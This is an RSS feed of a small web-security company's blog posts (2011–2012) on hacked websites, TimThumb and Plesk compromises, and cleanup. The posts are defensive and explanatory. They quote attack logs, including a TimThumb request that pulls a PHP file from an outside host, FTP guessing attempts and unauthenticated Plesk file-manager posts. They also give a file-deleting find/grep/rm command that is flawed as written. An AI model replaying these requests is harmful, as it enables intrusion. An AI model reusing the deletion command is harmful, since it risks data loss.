<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Salvage My Site</title>
	<atom:link href="http://salvagemysite.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://salvagemysite.com</link>
	<description>&#124; Hacked Sites &#124; Site &#38; Server Auditing</description>
	<lastBuildDate>Wed, 09 May 2012 11:43:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>So Your Website Has Been Hacked?</title>
		<link>http://salvagemysite.com/so-your-website-has-been-hacked/</link>
		<comments>http://salvagemysite.com/so-your-website-has-been-hacked/#comments</comments>
		<pubDate>Wed, 09 May 2012 10:50:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Linux Hacked]]></category>
		<category><![CDATA[timthumb]]></category>
		<category><![CDATA[Website defaced]]></category>
		<category><![CDATA[website hacked]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://salvagemysite.com/?p=122</guid>
		<description><![CDATA[Why did my site get hacked? A common question we receive is &#8216;Why did I get hacked? We haven&#8217;t done anything&#8230;&#8217;. The easy answer is, it&#8217;s not you or your site, it&#8217;s most likely an random attack by an automated program or robot. There are &#8216;high score&#8217; sites where people list their defacements and conquests. [...]]]></description>
			<content:encoded><![CDATA[<h2>Why did my site get hacked?</h2>
<p><a href="http://salvagemysite.com/wp-content/uploads/2011/11/hacked1.png"><img src="http://salvagemysite.com/wp-content/uploads/2011/11/hacked1.png" alt="" title="hacked" width="530" height="374" class="aligncenter size-full wp-image-95" /></a></p>
<p>A common question we receive is &#8216;Why did I get hacked? We haven&#8217;t done anything&#8230;&#8217;. The easy answer is, it&#8217;s not you or your site, it&#8217;s most likely an random attack by an automated program or robot. There are &#8216;high score&#8217; sites where people list their defacements and conquests. It&#8217;s a numbers game and it does not matter if it&#8217;s a small site with photos or a business lifeline.</p>
<p><a href="http://salvagemysite.com/wp-content/uploads/2012/05/hacked-2.png"><img src="http://salvagemysite.com/wp-content/uploads/2012/05/hacked-2.png" alt="" title="hacked-2" width="530" height="126" class="aligncenter size-full wp-image-130" /></a></p>
<h2>How did my site get hacked?</h2>
<p>This question is harder to answer, but in these days of dynamic sites it is usually the website itself that is the culprit. The advent of free, open source scripts created by third parties specifically aimed at &#8216;non-techies&#8217; has created a vast swathe of content creators who don&#8217;t know how their websites work. This is not necessarily a bad thing, however it does lead to easier targets for hackers.</p>
<h2>Common entry points</h2>
<ol>
<li><strong>Web Scripts</strong> &#8211; scripts such as WordPress, Joomla, Drupal. WordPress for example had the recently publicised <a href="http://salvagemysite.com/timthumb-wordpress-vulnerability/" title="Timthumb WordPress Vulnerability" target="_blank">timthumb vulnerability</a>. As a widely used image publishing and resizing tool, it eventually turned out that a simple coding issue allowed an attacker to gain a &#8216;web shell&#8217; inside wordpress sites. This sparked a mass series of automated attacks looking for &#8216;timthumb&#8217;. It&#8217;s still going on today.</li>
<p><code>77.65.2.180 - - [09/May/2012:11:27:38 +0100] "GET //wp-content/themes/mimbopro/scripts/<strong>timthumb.php</strong>?src=http%3a%2f%2fpicasa.combos.aaa.org/byroe.php HTTP/1.1" 404 1276 "-" "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)"</code></p>
<li><strong>File Security</strong> &#8211; most hosting solutions allow file access via FTP. This is protected by a single username and password that, if compromised, would allow an attacker to upload anything to your site. FTP is an old protocol and transmits the username and password in plain text. It is trivial, under the right conditions, to gain access to these details. The details can also be guessed if they are insecure.</li>
<p><code>May  9 10:41:11 server ftpd[24517]: <FTP SERVER> (188.165.203.19[188.165.203.19]) - USER admin: <strong>no such user</strong> found from 188.165.203.19 [188.165.203.19] to 188.65.183.161:21<br />
May  9 10:41:11 server ftpd[24518]: <FTP SERVER> (188.165.203.19[188.165.203.19]) - USER webmaster: <strong>no such user</strong> found from 188.165.203.19 [188.165.203.19] to 188.65.183.161:21 </code></p>
<li><strong>Other Websites</strong> &#8211; The majority of people use shared hosting as it reduces costs however it is possible to be &#8216;backdoored&#8217; by another site on the same platform depending on server conditions and permission setup.</li>
</ol>
<h2>What can I do to prevent getting hacked?</h2>
<p><a href="http://salvagemysite.com/wp-content/uploads/2012/05/lock1.png"><img src="http://salvagemysite.com/wp-content/uploads/2012/05/lock1.png" alt="" title="lock1" width="530" height="257" class="aligncenter size-full wp-image-150" /></a></p>
<ol><strong>Easy To Do</strong></p>
<li>Keep your scripts up to date. Make it a weekly occurrence to check for any updates. Most scripts have automated notifiers in the admin section that will prompt you to update.</li>
<li>Add additional protection to your sites rather than relying on the security features of the third party creating your site. For example, in the administration section of your site <a href="http://www.javascriptkit.com/howto/htaccess3.shtml" title="htaccess password protection" target="_blank">add a an additional user and password prompt</a>.</li>
<li>Do not use insecure usernames and passwords for file access, and ask your webhost if FTP over SSL, or FTP over SSH (sFTP) is available. Replacing <em>l3tt3r5</em> with <em>numb3r5</em> is not an effective security measure.</li>
<li>Not really a prevention, but <strong>BACKUP</strong>. Don&#8217;t rely on anyone doing this but you. Backup. Backup. Did I say it enough times? Back UP.</li>
<p><strong>Harder to do or not cost effective</strong></p>
<li>Lock down permissions on your site to prevent file changes and only allow uploading when adding content. Some hosts have a &#8216;lock this site&#8217; option that will prevent anyone writing to the website be it your FTP user, or anything uploaded to the site. This is only effective in certain situations where temporary files are not needed etc.</li>
<li>Move to virtual or dedicated hosting and apply tools such as an application firewall or systems to track file changes such as Tripwire.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://salvagemysite.com/so-your-website-has-been-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What To Do When Your Site Is Hacked</title>
		<link>http://salvagemysite.com/what-to-do-when-your-site-is-hacked/</link>
		<comments>http://salvagemysite.com/what-to-do-when-your-site-is-hacked/#comments</comments>
		<pubDate>Tue, 20 Mar 2012 13:27:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Server Hacked]]></category>
		<category><![CDATA[google malware]]></category>
		<category><![CDATA[javascript malware redirect]]></category>
		<category><![CDATA[Website defaced]]></category>
		<category><![CDATA[website hacked]]></category>

		<guid isPermaLink="false">http://salvagemysite.com/?p=117</guid>
		<description><![CDATA[You&#8217;ve spent all that time getting your site to your desired position on google, optmising keywords, and then your site is hacked and your homepage is replaced by some childish dedication to people in another country. Google or your web browser has placed a warning to all visitors when they arrive at your site. Disaster! [...]]]></description>
			<content:encoded><![CDATA[<p>You&#8217;ve spent all that time getting your site to your desired position on google, optmising keywords, and then your site is hacked and your homepage is replaced by some childish dedication to people in another country. Google or your web browser has placed a warning to all visitors when they arrive at your site. Disaster!</p>
<p>There are several things you should do to:</p>
<p>a) keep your google ranking<br />
b) get your site back online<br />
c) get google to remove your site from their &#8216;bad site&#8217; listing</p>
<h1>Keep Your Google Ranking</h1>
<p>When your content is replaced, GoogleBot and other search engine spiders will treat that hacked site as your own. Perhaps, if the attacker is clever, the hacked content may <b>only</b> be shown if the visitor comes from google or the visitor is a search engine spider specifically to target this.</p>
<p>The trick is to immediately set a redirect on your site to a holding page. Not a 301 (permanent) redirect rather a 307 (temporary, use normal URL usually) redirect. This means that google will not list the holding page in the rankings. It is useful to do this to bypass the compromised content whilst you get the hacked site back online. </p>
<p>In a .htaccess file add:<br />
<code>RewriteEngine on<br />
RewriteCond %{REQUEST_URI} !/temporary_holding_page.htm$<br />
RewriteRule $ /temporary_holding_page.htm$l [R=307,L]</code></p>
<p>*obviously rename the page in the example to your actual holding page.</p>
<p><H1>Get Your Site Back Online</H1><br />
You need to then remove the hack from your site and more importantly, find out how it was compromised in the first place so as to prevent it occurring again.</p>
<p>Should the attack be obvious, such as a directory uploaded to your site, the overwhelming urge is to delete it. <b>DO NOT DO THIS</b>. If you get someone to look at your site as you may think there are still some nasties lurking, you&#8217;ve just removed the evidence of the attacker&#8217;s presence. When the files were created, who they are owned by, what they are doing, are all clues that help security companies find the entry point. Removing this evidence is like tidying up a burgled house before the police get there.</p>
<p>Your 307 redirect will most likely have stopped the effect of these files. It is enough.</p>
<p>If it&#8217;s not obvious how your site was compromised, or you need help <a href='mailto:info@salvagemysite.com' title='Hacked Site'>contact SalvageMySite via email</a> or phone 01204 371037 to fix your hacked site.</p>
<h1>Get Google To Remove Your Site From Their &#8216;Bad&#8217; List</h1>
<p>If you&#8217;ve not got a <a href="http://www.google.com/webmasters/" title="Google Webmaster Account" target="_blank">Google Webmaster Account</a>, get one. It&#8217;s the way you can tell google to re-evaluate your site for re-inclusion into the index. You have to give a reason or explanation as to what has happened, but it will force a refresh of your site to check for malware, and if fixed, will be removed much quicker than the natural processes Google uses.</p>
]]></content:encoded>
			<wfw:commentRss>http://salvagemysite.com/what-to-do-when-your-site-is-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Parallels Plesk Hacked</title>
		<link>http://salvagemysite.com/parallels-plesk-hacked/</link>
		<comments>http://salvagemysite.com/parallels-plesk-hacked/#comments</comments>
		<pubDate>Wed, 07 Mar 2012 08:54:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Server Hacked]]></category>
		<category><![CDATA[plesk admin sql]]></category>
		<category><![CDATA[Plesk Hacked]]></category>
		<category><![CDATA[Plesk Linux server hacked]]></category>
		<category><![CDATA[server hacked]]></category>

		<guid isPermaLink="false">http://salvagemysite.com/?p=112</guid>
		<description><![CDATA[Parallels recently sent notification of a critical Plesk security issue. On 10th February Plesk sent an email to its customers. &#8212;&#8212;- Dear Parallels Plesk Panel User: Please read this message in its entirety and take the recommended actions. Parallels has been informed of a SQL injection security vulnerability in some older versions of Plesk. This [...]]]></description>
			<content:encoded><![CDATA[<p>Parallels recently sent notification of a critical Plesk security issue.</p>
<p>On 10th February Plesk sent an email to its customers.</p>
<p>&#8212;&#8212;-<br />
Dear Parallels Plesk Panel User:</p>
<p>Please read this message in its entirety and take the recommended actions.</p>
<p>Parallels has been informed of a SQL injection security vulnerability in some older versions of Plesk. This vulnerability is considered critical in nature and customers are advised take action quickly.</p>
<p>A patch has been released to resolve this vulnerability. Based on the version and operating system of Plesk you use, please follow the instructions below.<br />
&#8212;&#8212;-</p>
<p>Basically the email tells users to upgrade to the latest patch level of the current release (for example 9.5 to 9.5.3 release X) or even better all the way up to plesk 10.x the latest they have. </p>
<p>Having experienced plesk upgrades in the past and the resulting fall out on every single occasion this is not an ideal situation. Micro patching to the latest version of the branch is recommended.</p>
<p>Of course, admins don&#8217;t do this and we&#8217;ve had several calls asking for help. The email does not actually tell you what is happening, just to upgrade.</p>
<p>Victims of this attack will notice perhaps that files are created all over the server with the permissions and ownerships of the FTP users themselves, as if the users had FTP&#8217;d them. Files owned by the users are harder to track down than say files owned by the webserver user apache because it&#8217;s relatively simple to search for files &#8216;owned by apache, ending in php, created in the last x days&#8217; ( find /var/www/vhosts -user apache -mtime 1 -name &#8220;*.php&#8221; )</p>
<p>Looking in the plesk admin logs, which are not obvious to find, in /usr/local/psa/admin/logs you may find something similar to the below:</p>
<p><code>86.93.91.226 - - [04/Mar/2012:20:41:09 +0000] "GET /domains/dom_ctrl.php3?dom_id=235&amp;previous_page=domains&#038;cmd=file_manager HTTP/1.1" 200 865<br />
86.93.91.226 - - [04/Mar/2012:20:41:10 +0000] "GET /filemanager/filemanager.php?cmd=chdir&#038;file=%2Fcgi-bin%2F&#038;previous_page=filemanager HTTP/1.1" 200 868<br />
86.93.91.226 - - [04/Mar/2012:20:41:11 +0000] "POST /filemanager/filemanager.php HTTP/1.1" 200 868<br />
86.93.91.226 - - [04/Mar/2012:20:41:12 +0000] "POST /filemanager/filemanager.php HTTP/1.1" 200 868<br />
62.133.139.78 - - [04/Mar/2012:20:41:13 +0000] "GET /domains/dom_ctrl.php3?dom_id=674&amp;previous_page=domains&#038;cmd=file_manager HTTP/1.1" 200 865<br />
62.133.139.78 - - [04/Mar/2012:20:41:15 +0000] "GET /filemanager/filemanager.php?cmd=chdir&#038;file=%2Fcgi-bin%2F&#038;previous_page=filemanager HTTP/1.1" 200 868<br />
86.93.91.226 - - [04/Mar/2012:20:41:15 +0000] "GET /domains/dom_ctrl.php3?dom_id=19&amp;previous_page=domains&#038;cmd=file_manager HTTP/1.1" 200 865<br />
86.93.91.226 - - [04/Mar/2012:20:41:16 +0000] "GET /filemanager/filemanager.php?cmd=chdir&#038;file=%2Fcgi-bin%2F&#038;previous_page=filemanager HTTP/1.1" 200 868</code></p>
<p>Random IPs (compromised servers as they happen to be in this case) POSTing to the file manager and logging in and out without authentication? This is how the files are being created. </p>
<p>These files tend to be perl files uploaded to the cgi-bin (as plesk tends to limit ExecCGI to the cgi-bin). </p>
<p>Something like <code>find /var/www/vhosts/*/cgi-bin -mtime 1 -name "*.pl*</code> will list all perl files in the cgi-bins of all domains created in the last day. If you can find a common string, as is usually the case as these are just bots so the files are the same, then you can search the server for the string.</p>
<p>If these perl files were opening a Socket for example, this is pretty rare to find in typical web user&#8217;s files so you could run something like <code>find /var/www/*/cgi-bin | xargs grep 'Socket::' -sl</code> and (after a period of time) list all the files containing that string.</p>
<p>After checking the resulting list, and confirming that they are all compromised files you could run something like:</p>
<p><code>find /var/www/vhosts/* | xargs grep 'Socket::' | xargs rm</code> which would remove all the files listed.</p>
<p>On a couple of servers we&#8217;ve seen that the attackers have added cron jobs so the processes start again. Be sure to check /var/spool/cron/*user* and the /tmp directory for strangely owned files, assuming that /tmp is not mounted noexec,nosuid of course.</p>
<p><strong>*please note we cannot take any responsibility for incorrectly removed files should you run the above commands. Ensure the results are researched fully prior to any permanent action.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://salvagemysite.com/parallels-plesk-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Timthumb WordPress Vulnerability</title>
		<link>http://salvagemysite.com/timthumb-wordpress-vulnerability/</link>
		<comments>http://salvagemysite.com/timthumb-wordpress-vulnerability/#comments</comments>
		<pubDate>Mon, 21 Nov 2011 14:49:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Server Hacked]]></category>
		<category><![CDATA[timthumb]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://salvagemysite.com/?p=102</guid>
		<description><![CDATA[The wordpress Timthumb vulnerability continues to affect site owners as they are unsuspectingly hosting phishing sites. Months after the event, webmasters are realising they are the subject of an attack and cannot do anything about it. We&#8217;re still getting calls about it. timthumb.php is part of a large number of extensions, themes and plugins available [...]]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://markmaunder.com/2011/08/02/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/">wordpress Timthumb vulnerability</a> continues to affect site owners as they are unsuspectingly hosting phishing sites.</p>
<p>Months after the event, webmasters are realising they are the subject of an attack and cannot do anything about it. We&#8217;re still getting calls about it. timthumb.php is part of a large number of extensions, themes and plugins available for wordpress. Unfortunately due to the way it was coded, it allowed attackers to upload files to writable directories on the website in question, and run whatever code therein. Sometimes this was used to deface the site in question by inserting code into the header files of a website, or sometimes this was used as a phishing location. Phishing means that a page was created in order to get usernames, passwords, credit card information by pretending to be a bank or similar. </p>
<p>There are several scanners for this <a href="http://wordpress.org/extend/plugins/timthumb-vulnerability-scanner/" target="_blank">here</a> being one, however if you need an audit give us a call using the details below.</p>
]]></content:encoded>
			<wfw:commentRss>http://salvagemysite.com/timthumb-wordpress-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Most Common Type Of Hack</title>
		<link>http://salvagemysite.com/the-most-common-type-of-hack/</link>
		<comments>http://salvagemysite.com/the-most-common-type-of-hack/#comments</comments>
		<pubDate>Thu, 17 Nov 2011 09:35:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://salvagemysite.com/?p=86</guid>
		<description><![CDATA[You may visit a website and see something like the following: How did this happen? &#8216;Hacked By&#8217; is a common defacement using the attacker&#8217;s name. Most likely, the site was running a common piece of software designed to make life easy for the administrator of a site. This could be WordPress, Drupal, Vbulletin or many [...]]]></description>
			<content:encoded><![CDATA[<p>You may visit a website and see something like the following:<br />
<a href="http://salvagemysite.com/wp-content/uploads/2011/11/hacked1.png"><img src="http://salvagemysite.com/wp-content/uploads/2011/11/hacked1.png" alt="" title="hacked" width="530" height="374" class="aligncenter size-full wp-image-95" /></a></p>
<p>How did this happen? &#8216;Hacked By&#8217; is a common defacement using the attacker&#8217;s name.</p>
<p>Most likely, the site was running a common piece of software designed to make life easy for the administrator of a site. This could be <a href="http://wordpress.org" target="_blank">WordPress</a>, <a href="http://drupal.org/" target="_blank">Drupal</a>, <a href="https://www.vbulletin.com/" target="_blank">Vbulletin</a> or many other examples. </p>
<p>This software is not necessarily insecure, but like anything, if the software is not updated or incorrectly installed then eventually the software will be compromised. Especially, as on the internet everything is in the firing line 24 hours a day.</p>
<p>The nature of the software, &#8216;easy life for the administrator&#8217; does not help itself really. By its very definition it will attract &#8216;<em>non-geeks</em>&#8216; to publish websites whereas they would not if they had to code from scratch. Non-geeks are not generally aware that sites need updating nor are they aware that things like file and folder permissions matter. All these are security issues that people can exploit.</p>
<p>Generally a site hack is not maliciously aimed at the site owner. It&#8217;s more a game. There are sites where compromised sites are listed in a kind of high score chart. Most of these attacks are drive-by attacks. A robot has found your site with a particular vulnerability and has automatically exploited it.</p>
<p>Most hacks are like the above image, site defacements. Some are nastier, they will hide javascript in your site (that to all intents and purposes looks legitimate) that links to a remote site the attacker controls. This site will automatically attempt to download a virus or trojan to the visitor&#8217;s machine.</p>
]]></content:encoded>
			<wfw:commentRss>http://salvagemysite.com/the-most-common-type-of-hack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Website Redirect To Spam Site</title>
		<link>http://salvagemysite.com/website-redirect-to-spam-site/</link>
		<comments>http://salvagemysite.com/website-redirect-to-spam-site/#comments</comments>
		<pubDate>Wed, 16 Mar 2011 12:03:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://salvagemysite.com/?p=77</guid>
		<description><![CDATA[Increasingly common is javascript or php scripts embedded on a site which redirects visitors to an attacker&#8217;s page allowing trojan downloads and spam. Usually this code is embedded in the html of a site and can be encoded to shield it from quick glances. A new feature seen recently masks the script from being called [...]]]></description>
			<content:encoded><![CDATA[<p>Increasingly common is javascript or php scripts embedded on a site which redirects visitors to an attacker&#8217;s page allowing trojan downloads and spam. Usually this code is embedded in the html of a site and can be encoded to shield it from quick glances.</p>
<p>A new feature seen recently masks the script from being called unless the visitor is from a certain country or has come from a certain search engine. As most people cannot see this script and flag something is wrong to the owner, the script may go undetected for some time. For example, we have just seen a site that redirects visitors only if they are from the USA, and have clicked on the site link at Yahoo. May give the attacker less traffic overall initially but if undetected will yield better results over time.</p>
]]></content:encoded>
			<wfw:commentRss>http://salvagemysite.com/website-redirect-to-spam-site/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How Was My Server Hacked?</title>
		<link>http://salvagemysite.com/how-was-my-server-hacked/</link>
		<comments>http://salvagemysite.com/how-was-my-server-hacked/#comments</comments>
		<pubDate>Wed, 23 Feb 2011 09:28:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Frequently Asked Questions]]></category>
		<category><![CDATA[Linux Hacked]]></category>
		<category><![CDATA[Plesk Hacked]]></category>
		<category><![CDATA[server hacked]]></category>

		<guid isPermaLink="false">http://salvagemysite.com/?p=54</guid>
		<description><![CDATA[With the advent of virtual computing or more commonly referred to these days as cloud hosting, it&#8217;s possible for more people to run &#8216;full&#8217; servers as the costs have come down. Frequently these servers are Linux servers of one flavour or another depending on the experience of the user. Virtual platforms deploy &#8216;servers&#8217; as default [...]]]></description>
			<content:encoded><![CDATA[<p>With the advent of virtual computing or more commonly referred to these days as cloud hosting, it&#8217;s possible for more people to run &#8216;full&#8217; servers as the costs have come down. Frequently these servers are Linux servers of one flavour or another depending on the experience of the user.</p>
<p>Virtual platforms deploy &#8216;servers&#8217; as default (and sometimes outdated) systems. Whilst these systems are set up for ease of use they are not set up for security. Mainly this is because each situation that someone may want a server for is different. There is no magic bullet or blanket ruleset in terms of securing a server.</p>
<p>With Linux in mind there are common issues that contribute to the insecurity of a server.</p>
<ul>
<li>Old or insecure daemons that have not been updated</li>
<li>Weak access passwords and methodology</li>
<li>Users</li>
</ul>
<p>In terms of common hacks these days it&#8217;s really the last two points that have most relevance.</p>
<p>Users are a necessary evil. They require access to the system but there needs to be a balance between functionality and security. As expected, users want maximum functionality whilst admins want maximum security.</p>
<p>Common issues caused by users are the flipside of <a title="How Was My Website Hacked" href="/how-was-my-website-hacked/" target="_blank">this article</a> namely the security of the users themselves and what attackers can upload to your system with user permissions. For example, an attacker could upload a freely available php shell script, and if web accessible this gives the attacker a command line prompt to your system with webserver permissions. Of course, this should be locked down aswell but there are many systems that (incorrectly, of course) run their webservers as the root user.</p>
<p>The methodology of the server setup is another common stumbling block. Do the users need shell access? Who needs superuser access apart from the owner? Do you allow superuser access from anywhere, on the standard default ports?</p>
<p>For example, we recently set up a virtual server on a brand new allocated IP address and left direct root access open. Within 30 minutes there were authentication attempts from random IP addresses trying to guess the root password, and also no doubt probing for insecurities in the authentication daemon (OpenSSH in this case). Bots are scanning vast ranges of IP addresses all the time.</p>
]]></content:encoded>
			<wfw:commentRss>http://salvagemysite.com/how-was-my-server-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How Was My Website Hacked?</title>
		<link>http://salvagemysite.com/how-was-my-website-hacked/</link>
		<comments>http://salvagemysite.com/how-was-my-website-hacked/#comments</comments>
		<pubDate>Wed, 23 Feb 2011 09:07:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Frequently Asked Questions]]></category>

		<guid isPermaLink="false">http://salvagemysite.com/?p=46</guid>
		<description><![CDATA[There are three main ways a website can be hacked or defaced. Weak Passwords When people think nobody is looking, they are their own worst enemy in terms of passwords. The above quote is unfortunately true. In the many and various situations we ourselves have seen, passwords range from the traditional password1234 to replacing &#8216;l3tt3r5 [...]]]></description>
			<content:encoded><![CDATA[<p>There are three main ways a website can be hacked or defaced.</p>
<h2>Weak Passwords</h2>
<blockquote><p>When people think nobody is looking, they are their own worst enemy in terms of passwords.</p></blockquote>
<p>The above quote is unfortunately true. In the many and various situations we ourselves have seen, passwords range from the traditional <strong>password1234</strong> to replacing &#8216;l3tt3r5 with numb3r5&#8242;. Take note, these passwords are <strong>beyond trivial</strong> to compromise. A script running thousands of iterations per second can guess these passwords without issue. </p>
<p>Ideally your password should be of at least 12 characters of random letters (both cases), numbers and special characters !@£$%^&#038;*() (for example).</p>
<h2>Keyloggers</h2>
<p>If your machine is infected with a trojan or virus it&#8217;s quite possible that an attacker has installed a keylogger (a program to track what you type). With this information, no matter the strength of the password an attacker has that password.</p>
<h2>Server Compromise (Backdoor)</h2>
<p>Moreso on shared hosting systems, if you have directories that require lax (chmod) permissions then another site on your server that has been compromised via the above methods can write files into these directories.</p>
]]></content:encoded>
			<wfw:commentRss>http://salvagemysite.com/how-was-my-website-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Website Defaced</title>
		<link>http://salvagemysite.com/website-defaced/</link>
		<comments>http://salvagemysite.com/website-defaced/#comments</comments>
		<pubDate>Tue, 22 Feb 2011 16:47:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Server Hacked]]></category>
		<category><![CDATA[google malware]]></category>
		<category><![CDATA[javascript malware redirect]]></category>
		<category><![CDATA[Plesk Linux server hacked]]></category>
		<category><![CDATA[server hacked]]></category>
		<category><![CDATA[Website defaced]]></category>

		<guid isPermaLink="false">http://salvagemysite.com/?p=33</guid>
		<description><![CDATA[Has your website been defaced? We can help. You may find that when you visit your site you receive something similar to the image below. Google, OpenDNS and other filtering services place restrictions on sites that it has detected containing malware. Visiting the site is not recommended because of a dangerous element present on the [...]]]></description>
			<content:encoded><![CDATA[<p>Has your website been defaced? <strong>We can help</strong>.</p>
<p>You may find that when you visit your site you receive something similar to the image below.<br />
<a href="http://salvagemysite.com/wp-content/uploads/2011/02/site-malware.png"><img src="http://salvagemysite.com/wp-content/uploads/2011/02/site-malware.png" alt="" title="site-malware" width="550" height="502" class="size-full wp-image-40" /></a><br />
Google, OpenDNS and other filtering services place restrictions on sites that it has detected containing malware. Visiting the site is not recommended because of a dangerous element present on the site.</p>
<h2>What Is Malware?</h2>
<p>Usually, malware on a site is a piece of code that calls another website, perhaps owned by the attacker, that attempts to download viruses or trojans to your machine. </p>
]]></content:encoded>
			<wfw:commentRss>http://salvagemysite.com/website-defaced/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Plesk Server Hacked</title>
		<link>http://salvagemysite.com/plesk-server-hacked/</link>
		<comments>http://salvagemysite.com/plesk-server-hacked/#comments</comments>
		<pubDate>Tue, 22 Feb 2011 16:28:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Server Hacked]]></category>
		<category><![CDATA[Parallels Plesk]]></category>
		<category><![CDATA[Plesk Hacked]]></category>
		<category><![CDATA[Plesk Linux server hacked]]></category>

		<guid isPermaLink="false">http://salvagemysite.com/?p=26</guid>
		<description><![CDATA[Plesk, a feature rich GUI control panel made by Parallels, is a common webserver control panel enabling easy access to server functionality. This ease of use can come at a price. Ease of use means stability, and stability can sometimes mean out of date components, moreso if the control panel is not updated regularly. If [...]]]></description>
			<content:encoded><![CDATA[<p>Plesk, a feature rich GUI control panel made by Parallels, is a common webserver control panel enabling easy access to server functionality.</p>
<p>This ease of use can come at a price. Ease of use means stability, and stability can sometimes mean out of date components, moreso if the control panel is not updated regularly.</p>
<p>If a server component is compromised, plesk can be difficult to troubleshoot if the customer is not familiar with command line interfaces / shell.</p>
]]></content:encoded>
			<wfw:commentRss>http://salvagemysite.com/plesk-server-hacked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

